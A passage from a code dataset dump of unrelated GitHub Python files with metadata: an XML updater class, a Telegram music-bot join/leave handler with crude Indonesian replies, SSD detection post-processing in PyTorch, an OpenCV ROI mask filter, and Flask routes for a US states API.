``NSMAP``, then this function returns `node` itself.\n\n \"\"\"\n ns = utils.get_namespace(node)\n namespaces = self.NSMAP.itervalues()\n\n if ns not in namespaces:\n return node\n\n for child in utils.children(node):\n self._update_namespaces(child)\n\n new_node = self._update_nsmap(node)\n utils.replace_xml_element(node, new_node)\n return new_node\n\n def _create_update_results(self, root, remapped=None, removed=None):\n \"\"\"Creates and returns a :class:`UpdateResults` object instance\n from the input `root` parameter, and the class instance attributes\n ``cleaned_ids`` and ``cleaned_fields``.\n\n Args:\n root: An instance of ``etree._Element`` or ``etree._ElementTree``.\n\n Returns:\n An instance of ``ramrod.UpdateResults``.\n\n \"\"\"\n update_results = results.UpdateResults(root)\n update_results.remapped_ids = remapped or ()\n update_results.removed = removed or {}\n\n return update_results\n\n def _get_disallowed(self, root, options):\n raise NotImplementedError()\n\n def _clean_disallowed(self, disallowed, options):\n raise NotImplementedError()\n\n def _clean_duplicates(self, duplicates, options):\n raise NotImplementedError()\n\n def _clean(self, root, options):\n \"\"\"Internal handler for public ``clean()`` method. Orchestrates the\n invocation of sub-cleaning methods (e.g., ``_clean_disallowed()``).\n\n \"\"\"\n options = options or DEFAULT_UPDATE_OPTIONS\n disallowed = self._get_disallowed(root, options=options)\n duplicates = self._get_duplicates(root)\n remapped, removed = {}, ()\n\n if duplicates:\n remapped = self._clean_duplicates(duplicates, options=options)\n\n if disallowed:\n removed = self._clean_disallowed(disallowed, options=options)\n\n result = results.UpdateResults(root)\n result.remapped_ids = remapped\n result.removed = tuple(removed)\n\n return result\n\n def clean(self, root, options=None):\n \"\"\"Removes disallowed elements from `root` and remaps non-unique\n IDs to unique IDs for the sake of schema-validation.\n\n Removed items can be retrieved via the ``removed`` attribute on the\n return value:\n\n >>> results = updater.clean(root)\n >>> print results.removed\n (, )\n\n Items which have been reassigned IDs can be retrieved via the\n ``remapped_ids`` attribute on the return value:\n\n >>> results = updater.clean(root)\n >>> print results.remapped_ids\n {'example:Observable-duplicate': [>> results = updater.update(root, force=True)\n >>> print results.removed\n (, )\n\n Items which have been reassigned IDs can be retrieved via the\n ``remappped_ids`` attribute on the return value:\n\n >>> results = updater.update(root, force=True)\n >>> print results.remapped_ids\n {'example:Observable-duplicate-id-1': [tf? Jadiin gw admin dulu tolol! 😄\",\n )\n return\n\n try:\n user = await USER.get_me()\n except:\n user.first_name = \"TG - VC Music Bot\" # F this\n\n try:\n await USER.join_chat(invitelink)\n await USER.send_message(message.chat.id,\"Ok! Saya sudah masuk sesuai request mu, jangan spam lagi anjeng! 😂\")\n except UserAlreadyParticipant:\n await message.reply_text(\n \"Gw sudah ada di group cok! Jangan kaya Bocil 😒\",\n )\n pass\n except Exception as e:\n print(e)\n await message.reply_text(\n f\"Shit! ❌ Flood Wait Error ❌ \\n Sorry! user {user.first_name} Maaf gw gk bisa masuk chat karena banyak yang merintah gw! Jangan sampe gw di ban dari group lu tot. ✅\"\n \"\\n\\nOr you can manually add @{(await USER.get_me()).username} to your Group! 😉\",\n )\n return\n await message.reply_text(\n \"Bot Telah bergabung 😊\",\n )\n\n# Remove Bot and Streamer Account From the group\n@Client.on_message(filters.group & filters.command([\"leavegrp\"]))\n@authorized_users_only\nasync def botleavegrp(client, message):\n await message.chat.leave()\n\n@USER.on_message(filters.group & filters.command([\"leavegrp\"]))\nasync def strmleavegrp(USER, message):\n try:\n await USER.leave_chat(message.chat.id)\n except:\n await message.reply_text(\n f\"Oops! Gw gk bisa keluar dari voice chat banyak yang merintah gw sih 🤔\"\n \"\\n\\nAtau kamubisa keluarin gwsecara manual @{(await USER.get_me()).username} 🤗\",\n )\n return\n", "repo_name": "lullaby23/lusiapa", "sub_path": "handlers/joincmd.py", "file_name": "joincmd.py", "file_ext": "py", "file_size_in_byte": 2210, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "callsmusic.callsmusic.client.get_me", "line_number": 21, "usage_type": "call"}, {"api_name": "callsmusic.callsmusic.client", "line_number": 21, "usage_type": "name"}, {"api_name": "callsmusic.callsmusic.client.join_chat", "line_number": 26, "usage_type": "call"}, {"api_name": "callsmusic.callsmusic.client", "line_number": 26, "usage_type": "name"}, {"api_name": "callsmusic.callsmusic.client.send_message", "line_number": 27, "usage_type": "call"}, {"api_name": "callsmusic.callsmusic.client", "line_number": 27, "usage_type": "name"}, {"api_name": "pyrogram.errors.UserAlreadyParticipant", "line_number": 28, "usage_type": "name"}, {"api_name": "pyrogram.Client.on_message", "line_number": 7, "usage_type": "call"}, {"api_name": "pyrogram.Client", "line_number": 7, "usage_type": "name"}, {"api_name": "pyrogram.filters.group", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pyrogram.filters", "line_number": 7, "usage_type": "name"}, {"api_name": "pyrogram.filters.command", "line_number": 7, "usage_type": "call"}, {"api_name": "helpers.decorators.authorized_users_only", "line_number": 8, "usage_type": "name"}, {"api_name": "helpers.decorators.errors", "line_number": 9, "usage_type": "name"}, {"api_name": "pyrogram.Client.on_message", "line_number": 45, "usage_type": "call"}, {"api_name": "pyrogram.Client", "line_number": 45, "usage_type": "name"}, {"api_name": "pyrogram.filters.group", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pyrogram.filters", "line_number": 45, "usage_type": "name"}, {"api_name": "pyrogram.filters.command", "line_number": 45, "usage_type": "call"}, {"api_name": "helpers.decorators.authorized_users_only", "line_number": 46, "usage_type": "name"}, {"api_name": "callsmusic.callsmusic.client.leave_chat", "line_number": 53, "usage_type": "call"}, {"api_name": "callsmusic.callsmusic.client", "line_number": 53, "usage_type": "name"}, {"api_name": "callsmusic.callsmusic.client.on_message", "line_number": 50, "usage_type": "call"}, {"api_name": "callsmusic.callsmusic.client", "line_number": 50, "usage_type": "name"}, {"api_name": "pyrogram.filters.group", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pyrogram.filters", "line_number": 50, "usage_type": "name"}, {"api_name": "pyrogram.filters.command", "line_number": 50, "usage_type": "call"}]} {"seq_id": "42083755190", "text": "from functools import partial\n\nimport torch\nimport torch.nn.functional as F\n\n\ndef _decode(loc, priors, variances):\n \"\"\"Decode locations from predictions using priors to undo\n the encoding we did for offset regression at train time.\n Args:\n loc (tensor): location predictions for loc layers,\n Shape: [num_priors,4]\n priors (tensor): Prior boxes in center-offset form.\n Shape: [num_priors,4].\n variances: (list[float]) Variances of priorboxes\n Return:\n decoded bounding box predictions\n \"\"\"\n\n boxes = torch.cat((\n priors[:, :2] + loc[:, :2] * variances[0] * priors[:, 2:],\n priors[:, 2:] * torch.exp(loc[:, 2:] * variances[1])), 1)\n boxes[:, :2] -= boxes[:, 2:] / 2\n boxes[:, 2:] += boxes[:, :2]\n return boxes\n\n\ndef _soft_nms(boxes, scores, score_threshold, sigma=0.5, top_k=-1):\n \"\"\"Soft NMS implementation.\n References:\n https://arxiv.org/abs/1704.04503\n https://github.com/facebookresearch/Detectron/blob/master/detectron/utils/cython_nms.pyx\n Args:\n box_scores (N, 5): boxes in corner-form and probabilities.\n score_threshold: boxes with scores less than value are not considered.\n sigma: the parameter in score re-computation.\n scores[i] = scores[i] * exp(-(iou_i)^2 / simga)\n top_k: keep top_k results. If k <= 0, keep all the results.\n Returns:\n picked_box_scores (K, 5): results of NMS.\n \"\"\"\n picked_box_scores = []\n box_scores = torch.cat((boxes, scores.unsqueeze(-1)), 1)\n while box_scores.size(0) > 0:\n max_score_index = torch.argmax(box_scores[:, 4])\n cur_box_prob = torch.tensor(box_scores[max_score_index, :])\n picked_box_scores.append(cur_box_prob)\n if len(picked_box_scores) == top_k > 0 or box_scores.size(0) == 1:\n break\n cur_box = cur_box_prob[:-1]\n box_scores[max_score_index, :] = box_scores[-1, :]\n box_scores = box_scores[:-1, :]\n ious = iou_of(cur_box.unsqueeze(0), box_scores[:, :-1])\n box_scores[:, -1] = box_scores[:, -1] * torch.exp(-(ious * ious) / sigma)\n box_scores = box_scores[box_scores[:, -1] > score_threshold, :]\n if len(picked_box_scores) > 0:\n box_probs = torch.stack(picked_box_scores)\n return torch.cat([box_probs[..., -1:], box_probs[..., :4]], 1)\n else:\n return torch.tensor([])\n\n\ndef _nms(boxes, scores, overlap=0.5, top_k=200):\n \"\"\"Apply non-maximum suppression at test time to avoid detecting too many\n overlapping bounding boxes for a given object.\n Args:\n boxes: (tensor) The location preds for the img, Shape: [num_priors,4].\n scores: (tensor) The class predscores for the img, Shape:[num_priors].\n overlap: (float) The overlap thresh for suppressing unnecessary boxes.\n top_k: (int) The Maximum number of box preds to consider.\n Return:\n The indices of the kept boxes with respect to num_priors.\n \"\"\"\n\n keep = scores.new(scores.size(0)).zero_().long()\n if boxes.numel() == 0:\n return keep, 0\n x1, y1, x2, y2 = map(lambda x: boxes[:, x], range(4))\n area = torch.mul(x2 - x1, y2 - y1)\n v, idx = scores.sort(0) # sort in ascending order\n idx = idx[-top_k:] # indices of the top-k largest vals\n count = 0\n while idx.numel() > 0:\n i = idx[-1] # index of current largest val\n keep[count] = i\n count += 1\n if idx.size(0) == 1:\n break\n idx = idx[:-1] # remove kept element from view\n # load bboxes of next highest vals\n xx1, yy1, xx2, yy2 = map(lambda x: torch.index_select(x, 0, idx), (x1, y1, x2, y2))\n # store element-wise max with next highest score\n xx1, yy1 = map(lambda x: torch.clamp(x[0], min=x[1][i]), zip([xx1, yy1], [x1, y1]))\n xx2, yy2 = map(lambda x: torch.clamp(x[0], max=x[1][i]), zip([xx2, yy2], [x2, y2]))\n w = xx2 - xx1\n h = yy2 - yy1\n # check sizes of xx1 and xx2.. after each iteration\n w, h = map(partial(torch.clamp, min=0.0), (w, h))\n inter = w * h\n rem_areas = torch.index_select(area, 0, idx) # load remaining areas)\n union = (rem_areas - inter) + area[i]\n iou = inter / union # store result in iou\n idx = idx[iou.le(overlap)]\n return keep, count\n\n\ndef get_area(left_top, right_bottom) -> torch.Tensor:\n hw = torch.clamp(right_bottom - left_top, min=0.0)\n return hw[..., 0] * hw[..., 1]\n\n\ndef iou_of(boxes0, boxes1, eps=1e-5):\n overlap_left_top = torch.max(boxes0[..., :2], boxes1[..., :2])\n overlap_right_bottom = torch.min(boxes0[..., 2:], boxes1[..., 2:])\n\n overlap_area = get_area(overlap_left_top, overlap_right_bottom)\n area0 = get_area(boxes0[..., :2], boxes0[..., 2:])\n area1 = get_area(boxes1[..., :2], boxes1[..., 2:])\n return overlap_area / (area0 + area1 - overlap_area + eps)\n\n\ndef _nms_mean(boxes, scores, overlap=0.5, top_k=200):\n picked_indexes = []\n _, indexes = scores.sort(descending=True)\n indexes = indexes[:top_k]\n while len(indexes) > 0:\n current = indexes[0]\n picked_indexes.append([current.item()])\n if 0 < top_k == len(picked_indexes) or len(indexes) == 1:\n break\n current_box = boxes[current, :]\n indexes = indexes[1:]\n rest_boxes = boxes[indexes, :]\n iou = iou_of(\n rest_boxes,\n current_box.unsqueeze(0),\n )\n picked_indexes[-1].extend(indexes[iou > overlap].detach().cpu().numpy())\n indexes = indexes[iou <= overlap]\n\n averaged_boxes = []\n\n for indexes_group in picked_indexes:\n scores_group = scores[indexes_group]\n score = scores_group[0]\n boxes_group = boxes[indexes_group]\n\n # weigh picked bboxes using their scores\n scores_group = scores_group / scores_group.sum()\n averaged_box = (scores_group.unsqueeze(-1) * boxes_group).sum(0)\n averaged_boxes.append(torch.cat([score.unsqueeze(0), averaged_box]))\n\n res = torch.stack(averaged_boxes)\n return res\n\n\nclass Detect(object):\n \"\"\"At test time, Detect is the final layer of SSD. Decode location preds,\n apply non-maximum suppression to location predictions based on conf\n scores and threshold to a top_k number of output predictions for both\n confidence score and locations.\n \"\"\"\n\n def __init__(self, num_classes, variance=(0.1, 0.2), bkg_label=0, top_k=200, conf_thresh=0.01, nms_thresh=0.45):\n self.num_classes = num_classes\n self.background_label = bkg_label\n self.top_k = top_k\n # Parameters used in nms.\n self.nms_thresh = nms_thresh\n if nms_thresh <= 0:\n raise ValueError('nms_threshold must be non negative.')\n self.conf_thresh = conf_thresh\n self.variance = variance\n\n def __call__(self, loc_data, conf_data, prior_data):\n \"\"\"\n Args:\n loc_data: (tensor) Loc preds from loc layers\n Shape: [batch,num_priors*4]\n conf_data: (tensor) Shape: Conf preds from conf layers\n Shape: [batch*num_priors,num_classes]\n prior_data: (tensor) Prior boxes and variances from priorbox layers\n Shape: [1,num_priors,4]\n \"\"\"\n num = loc_data.size(0) # batch size\n num_priors = prior_data.size(0)\n output = torch.zeros(num, self.num_classes, self.top_k, 5)\n conf_preds = conf_data.view(num, num_priors,\n self.num_classes).transpose(2, 1)\n\n # Decode predictions into bboxes.\n for i in range(num):\n decoded_boxes = _decode(loc_data[i], prior_data, self.variance).cpu()\n # For each class, perform nms\n conf_scores = conf_preds[i].cpu()\n\n for cl in range(1, self.num_classes):\n c_mask = conf_scores[cl].gt(self.conf_thresh)\n scores = conf_scores[cl][c_mask]\n if scores.size(0) == 0:\n continue\n l_mask = c_mask.unsqueeze(1).expand_as(decoded_boxes)\n boxes = decoded_boxes[l_mask].view(-1, 4)\n # idx of highest scoring and non-overlapping boxes per class\n box_scores = _nms_mean(boxes, scores, self.nms_thresh, self.top_k)\n count = box_scores.size(0)\n output[i, cl, :count] = box_scores\n flt = output.contiguous().view(num, -1, 5)\n _, idx = flt[:, :, 0].sort(1, descending=True)\n _, rank = idx.sort(1)\n flt[(rank < self.top_k).unsqueeze(-1).expand_as(flt)].fill_(0)\n return output\n\n\nclass DetectorPostProcessing(object):\n def __init__(self, config):\n self.detect = Detect(config['num_classes'], conf_thresh=config.get('filter_thr', 0.01))\n self.visual_thr = config[\"visual_thr\"]\n\n def __call__(self, loc, conf, priors, img_shape, multiclass_suppression=True):\n bboxes, labels, scores = self.get_detections(loc, conf, priors, img_shape)\n # if multiclass_suppression:\n # bboxes, labels, scores = self.multiclass_suppression(bboxes, labels, scores)\n return bboxes, labels, scores\n\n def get_detections(self, loc, conf, priors, img_shape):\n detections = self.detect(loc, F.softmax(conf, dim=-1), priors)\n\n # scale each detection back up to the image\n scale = torch.Tensor([img_shape[1], img_shape[0], img_shape[1], img_shape[0]])\n\n bboxes, labels, scores = [], [], []\n # ii -> category id, 0 - background class\n for ii in range(1, detections.size(1)):\n j = 0\n while detections[0, ii, j, 0] >= self.visual_thr:\n score = detections[0, ii, j, 0].tolist()\n pt = (detections[0, ii, j, 1:] * scale).tolist()\n bbox = [pt[0], pt[1], pt[2] - pt[0], pt[3] - pt[1]]\n\n bboxes.append(bbox)\n labels.append(ii)\n scores.append(score)\n j += 1\n return bboxes, labels, scores\n\n def multiclass_suppression(self, bboxes, labels, scores, nms_thresh=0.5):\n bboxes, labels, scores = torch.Tensor(bboxes), torch.IntTensor(labels), torch.Tensor(scores)\n\n ids, count = _nms(bboxes, scores, nms_thresh, top_k=len(bboxes))\n to_keep = ids[:count]\n bboxes, labels, scores = bboxes[to_keep].tolist(), labels[to_keep].tolist(), scores[to_keep].tolist()\n\n return bboxes.tolist(), labels.tolist(), scores.tolist()\n", "repo_name": "KupynOrest/AmurTigerCVWC", "sub_path": "PyTorch/model_training/detection/detector_postprocessing.py", "file_name": "detector_postprocessing.py", "file_ext": "py", "file_size_in_byte": 10483, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.cat", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.argmax", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.index_select", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 94, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 98, "usage_type": "attribute"}, {"api_name": "torch.index_select", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 107, "usage_type": "attribute"}, {"api_name": "torch.max", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.min", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 187, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 227, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 227, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 230, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 248, "usage_type": "call"}, {"api_name": "torch.IntTensor", "line_number": 248, "usage_type": "call"}]} {"seq_id": "13051655809", "text": "import os\r\nimport shutil\r\nimport cv2\r\nimport glob\r\nimport numpy as np\r\ndef Parse_Path(path):\r\n file = path.split(os.sep)[-1]\r\n file_name = file.split(\".\")[0]\r\n return file,file_name\r\n\r\nimport numpy as np\r\n\r\ndef FilterImg(img_dir,\r\n save_dir,\r\n mask=True,\r\n stop_sign=False,\r\n equalize=True,\r\n roi_th=None):\r\n os.makedirs(os.path.join(save_dir,\"roi\"),exist_ok=True)\r\n os.makedirs(os.path.join(save_dir,\"mask\"),exist_ok=True)\r\n c = 1\r\n img_path_list = glob.glob(os.path.join(img_dir,'*.jpg'))\r\n for img_path in img_path_list:\r\n print(img_path)\r\n file,file_name = Parse_Path(img_path)\r\n img = cv2.imread(img_path)\r\n h,w = img.shape[0],img.shape[1]\r\n print(\"{}:{}\".format(c,img_path))\r\n if h*w < roi_th*roi_th or h/w < 0.10 or h/w > 10:\r\n print(\"too small (<30*30 pixels) or ratio is <0.10 or <10.0, skip this ROI\")\r\n else:\r\n #roi_dir = os.path.join(save_dir,\"roi\")\r\n #shutil.copy(img_path,roi_dir)\r\n #print(\"save img\")\r\n \r\n if mask:\r\n img_gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\r\n ## Get the mean value of gray image\r\n img_gray_mean = img_gray.mean()\r\n print(img_gray_mean)\r\n #var = ((img_gray - img_gray_mean) ** 2).mean()\r\n #std_rgb = np.sqrt(var)\r\n if stop_sign:\r\n _,img_binary = cv2.threshold(img_gray,img_gray_mean,255,cv2.THRESH_BINARY_INV) #THRESH_BINARY_INV\r\n dilate_erode=False\r\n if dilate_erode:\r\n kernel = np.ones((3,3), np.uint8)\r\n img_binary = cv2.dilate(img_binary, kernel, iterations = 10)\r\n img_binary = cv2.erode(img_binary, kernel, iterations = 10)\r\n \r\n else:\r\n _,img_binary = cv2.threshold(img_gray,img_gray_mean+10,255,0)\r\n mask_dir = os.path.join(save_dir,\"mask\")\r\n #study code from https://cloud.tencent.com/developer/article/1016690\r\n if stop_sign:\r\n contours, hierarchy = cv2.findContours(img_binary, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\r\n mask_img = np.zeros(img.shape, np.uint8)\r\n #cv2.drawContours(mask_img, contours, -1, (255,255,255),cv2.FILLED)\r\n #cv2.drawContours(mask_img, contours, -1, (255,255,255), 3)\r\n c_max = []\r\n max_area = 0\r\n max_cnt = 0\r\n for i in range(len(contours)):\r\n cnt = contours[i]\r\n area = cv2.contourArea(cnt)\r\n\r\n # 处理掉小的轮廓区域，这个区域的大小自己定义。\r\n if(area < (h*2/3*w*2/3)):\r\n c_min = []\r\n c_min.append(cnt)\r\n # thickness不为-1时，表示画轮廓线，thickness的值表示线的宽度。\r\n cv2.drawContours(mask_img, c_min, -1, (0,0,0), thickness=-1)\r\n continue\r\n #\r\n c_max.append(cnt)\r\n cv2.drawContours(mask_img, c_max, -1, (255, 255, 255), thickness=-1)\r\n GET_BEAUTIFUL_MASK=False\r\n if np.mean(mask_img) > 100:\r\n GET_BEAUTIFUL_MASK=True\r\n\r\n if GET_BEAUTIFUL_MASK:\r\n kernel = np.ones((3,3), np.uint8)\r\n mask_img = cv2.dilate(mask_img, kernel, iterations = 2)\r\n cv2.imwrite(mask_dir+\"/\"+file,mask_img)\r\n print(\"{}:Save mask\".format(c)) \r\n \r\n if not stop_sign:\r\n GET_BEAUTIFUL_MASK=True\r\n if GET_BEAUTIFUL_MASK:\r\n os.makedirs(mask_dir,exist_ok=True)\r\n print(mask_dir)\r\n print(\"file:{}\".format(file))\r\n save_mask_path = os.path.join(mask_dir,file)\r\n print(\"save_mask_path:{}\".format(save_mask_path))\r\n cv2.imwrite(save_mask_path,img_binary)\r\n print(\"{}:Save mask\".format(c))\r\n \r\n if equalize:\r\n if img_gray_mean/1.0 +50 <=255:\r\n img_tmp = int(img_gray_mean/1.0 + 50) * np.ones((int(img.shape[0]),int(img.shape[1]), 3), dtype=np.uint8)\r\n else:\r\n img_tmp = int(img_gray_mean/2.0 + 50) * np.ones((int(img.shape[0]),int(img.shape[1]), 3), dtype=np.uint8)\r\n \r\n ##lighter the landmark roi foreground\r\n if img[img_binary>20].mean() < 100:\r\n value = int(255 - img[img_binary>20].mean())/2.0\r\n elif img[img_binary>20].mean() >= 100 and img[img_binary>20].mean() <= 180:\r\n value = int(255 - img[img_binary>20].mean())/2.5\r\n else:\r\n value = 0\r\n\r\n ##darker the landmark roi background\r\n if img[img_binary<=20].mean() > 127:\r\n value_bg = int(img[img_binary<=20].mean())/2.0\r\n else:\r\n value_bg = 10\r\n\r\n ##lighter/darker the landmark roi foreground/background\r\n img[img_binary>20] = img[img_binary>20] + (value,value,value)\r\n img[img_binary<=20] = img[img_binary<=20] - (value_bg,value_bg,value_bg) \r\n roi_dir = os.path.join(save_dir,\"roi\")\r\n if GET_BEAUTIFUL_MASK:\r\n cv2.imwrite(roi_dir+\"/\"+file,img)\r\n print(\"save new img\")\r\n else:\r\n img[img_binary>20] = img[img_binary>20] \r\n img[img_binary<=20] = img[img_binary<=20] \r\n roi_dir = os.path.join(save_dir,\"roi\")\r\n if GET_BEAUTIFUL_MASK:\r\n cv2.imwrite(roi_dir+\"/\"+file,img)\r\n print(\"save new img\")\r\n #=====================================================================================\r\n #Because it is already the ROI image, so l do not need use contour method to get ROI\r\n #======================================================================================\r\n # contours, hierarchy = cv2.findContours(img_binary, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\r\n # contours_poly = [None]*len(contours)\r\n # boundRect = [None]*len(contours)\r\n # for i, c in enumerate(contours):\r\n # contours_poly[i] = cv2.approxPolyDP(c,3, True)#3\r\n # boundRect[i] = cv2.boundingRect(contours_poly[i])\r\n\r\n # for i in range(len(contours)):\r\n # x = boundRect[i][0]\r\n # y = boundRect[i][1]\r\n # w = boundRect[i][2]\r\n # h = boundRect[i][3]\r\n \r\n\r\n\r\n c+=1\r\n\r\n \r\n #cv2.imshow(\"img\",img)\r\n #cv2.waitKey(500)\r\n #cv2.destroyAllWindows()\r\n print(img_path)\r\n\r\n return\r\n\r\nif __name__==\"__main__\":\r\n img_dir = \"/home/ali/Downloads/roi_backup/merge_openlanev2_taiwan\"\r\n save_dir = \"/home/ali/Downloads/lanemarking_roi_new\"\r\n stop_sign = False\r\n FilterImg(img_dir,\r\n save_dir, \r\n mask=True,\r\n stop_sign=stop_sign,\r\n equalize=False,\r\n roi_th=80)", "repo_name": "cuteboyqq/landmark_issue", "sub_path": "filter_img.py", "file_name": "filter_img.py", "file_ext": "py", "file_size_in_byte": 7862, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.sep", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 37, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 37, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 44, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 44, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 47, "usage_type": "attribute"}, {"api_name": "cv2.dilate", "line_number": 48, "usage_type": "call"}, {"api_name": "cv2.erode", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.threshold", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.RETR_TREE", "line_number": 56, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 56, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 57, "usage_type": "attribute"}, {"api_name": "cv2.contourArea", "line_number": 65, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 72, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 82, "usage_type": "attribute"}, {"api_name": "cv2.dilate", "line_number": 83, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 84, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 100, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 102, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path", "line_number": 128, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 130, "usage_type": "call"}]} {"seq_id": "25674814428", "text": "from operator import and_\nfrom flask import Blueprint, jsonify, request\nfrom sqlalchemy import asc, and_\n\nfrom capstone_api.models import db,States,State_Attractions,Popular_Activities,visitedStates\n\nstates = Blueprint('states',__name__)\n\n@states.route('/API/States')\ndef stateAPI():\n states = States.query.order_by(asc(States.state)).all()\n return jsonify([state.to_dict() for state in states])\n \n\n@states.route('/API/States/')\ndef grabStateAPI(state):\n grabbed = States.query.filter_by(state=state).first()\n return jsonify([grabbed.to_dict()])\n\n@states.route('/API/States/attractions/')\ndef AttAPI(state):\n attns = State_Attractions.query.filter_by(state_name=state).all()\n return jsonify([attn.to_dict() for attn in attns])\n\n@states.route('/API/States/reasons/')\ndef ReasonsAPI(state):\n reasons=Popular_Activities.query.filter_by(state_name=state).all()\n return jsonify([r.to_dict() for r in reasons])\n\n@states.route('/API/States/handlevisited', methods=['GET','POST'])\ndef handleVisited():\n data = request.json\n print(data)\n\n state = data['state']\n user = data['user']\n status = data['filler']\n\n if status == 'red':\n state_query = visitedStates.query.filter_by(state_name=state,user=user).first()\n db.session.delete(state_query)\n db.session.commit()\n return jsonify({'status': 'success', 'message': 'visited state removed!'})\n else:\n add = visitedStates(state,user)\n db.session.add(add)\n db.session.commit()\n return jsonify({'status': 'success', 'message': 'visited state added!'})\n\n\n@states.route('/API/States/get_visited_states/')\ndef GrabVisitedStates(user):\n grab = visitedStates.query.filter_by(user=user).all()\n return jsonify([state.to_dict() for state in grab])\n\n", "repo_name": "alexevanega/Capstone_Places_You-ll_Go", "sub_path": "capstone_flask/capstone_api/states/routes.py", "file_name": "routes.py", "file_ext": "py", "file_size_in_byte": 1812, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Blueprint", "line_number": 7, "usage_type": "call"}, {"api_name": "capstone_api.models.States.query.order_by", "line_number": 11, "usage_type": "call"}, {"api_name": "capstone_api.models.States.query", "line_number": 11, "usage_type": "attribute"}, {"api_name": "capstone_api.models.States", "line_number": 11, "usage_type": "name"}, {"api_name": "sqlalchemy.asc", "line_number": 11, "usage_type": "call"}, {"api_name": "capstone_api.models.States.state", "line_number": 11, "usage_type": "attribute"}, {"api_name": "flask.jsonify", "line_number": 12, "usage_type": "call"}, {"api_name": "capstone_api.models.States.query.filter_by", "line_number": 17, "usage_type": "call"}, {"api_name": "capstone_api.models.States.query", "line_number": 17, "usage_type": "attribute"}, {"api_name": "capstone_api.models.States", "line_number": 17, "usage_type": "name"}, 